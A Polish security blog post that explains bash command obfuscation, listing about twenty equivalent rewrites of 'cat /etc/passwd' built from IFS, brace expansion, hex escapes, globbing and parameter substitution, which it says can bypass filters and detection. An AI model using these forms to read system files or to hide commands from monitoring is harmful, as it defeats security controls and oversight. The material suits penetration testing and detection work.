NFsec Logo

Zaciemnianie poleceń w powłoce bash

15/09/2024 w Hacks & Scripts, Pen Test Brak komentarzy.  (artykuł nr 907, ilość słów: 280)

P

owłoka bash zawiera wiele funkcji, które pojawiają się w innych popularnych powłokach, a także niektóre funkcje, które są tylko w niej. Dzięki rozbudowanej składni pozwala na pisanie skryptów w wewnętrznym języku programowania, a jego elementy upraszczają pracę w codziennej pracy z wydawanymi poleceniami np. touch {exploit,payload}.{c,sh} tworzy jednym poleceniem cztery pliki: exploit.c, exploit.sh, payload.c, payload.sh. Dzięki temu jedno polecenie może zostać wydane na wiele różnych sposobów używając techniki zaciemnienia / obfuskacji (ang. obfuscation), która zmienia składnię polecenia, ale zachowuje jego semantykę jednocześnie utrudniając jego zrozumienie i umożliwiając ominięcie różnego rodzaju filtrów i mechanizmów detekcyjnych. Na przykład popularne polecenie, takie jak:

cat /etc/passwd

może zostać zapisane na wiele różnych sposobów dając ten sam wynik:

cat /et\
c/pa\
sswd

cat${IFS}/etc/passwd

IFS=,;`cat<<<cat,/etc/passwd`

{cat,/etc/passwd}

cat</etc/passwd

X=$'cat\x20/etc/passwd'&&$X

cat ${HOME:0:1}etc${HOME:0:1}passwd

{\c''\a""t,/e''*?/?a?s??}

{\c''\a""\t,/\e''*?/\p*w\d}

{$'\x63'\a$'\x74',/\e''*?/\p*w$'\x64'}

{/b??/g?e?,.,/e??/p?s??d}

$(echo {/b??/ge*n''t,\p\a\s\s\w\d})

$(echo cat /etc/[p][a][s][s][w][d])

cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`

hex=(63 61 74 20 2F 65 74 63 2F 70 61 73 73 77 64) \ 
echo $(for i in ${hex[@]}; do echo -n -e "\x$i"; done) | sh

cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd

showme=/ehhh/hmtc/pahhh/hmsswd&&cat ${showme//hhh\/hm/}

Przykłady te wykorzystują znak ucieczki dla nowej linii, separator pól wejściowych, przekierowania strumieni, notację ANSI-C, podstawianie poleceń, rozbudowę klamry, manipulację ciągami tekstowymi, symbole wieloznaczne, wyrażenia regularne z nawiasami kwadratowymi, przekształcanie oraz rozszerzanie parametrów powłoki. Możliwości zapisu poleceń w postaci alternatywnej zależy tylko od naszej kreatywności oraz poziomu zaawansowania umiejętności administracyjno-programistycznych w powłoce.

Więcej informacji: Extraction of wiki.bash-hackers.org from the Wayback Machine

Kategorie K a t e g o r i e : Hacks & Scripts, Pen Test

Tagi T a g i : , , , , , ,

Komentowanie tego wpisu jest zablokowane.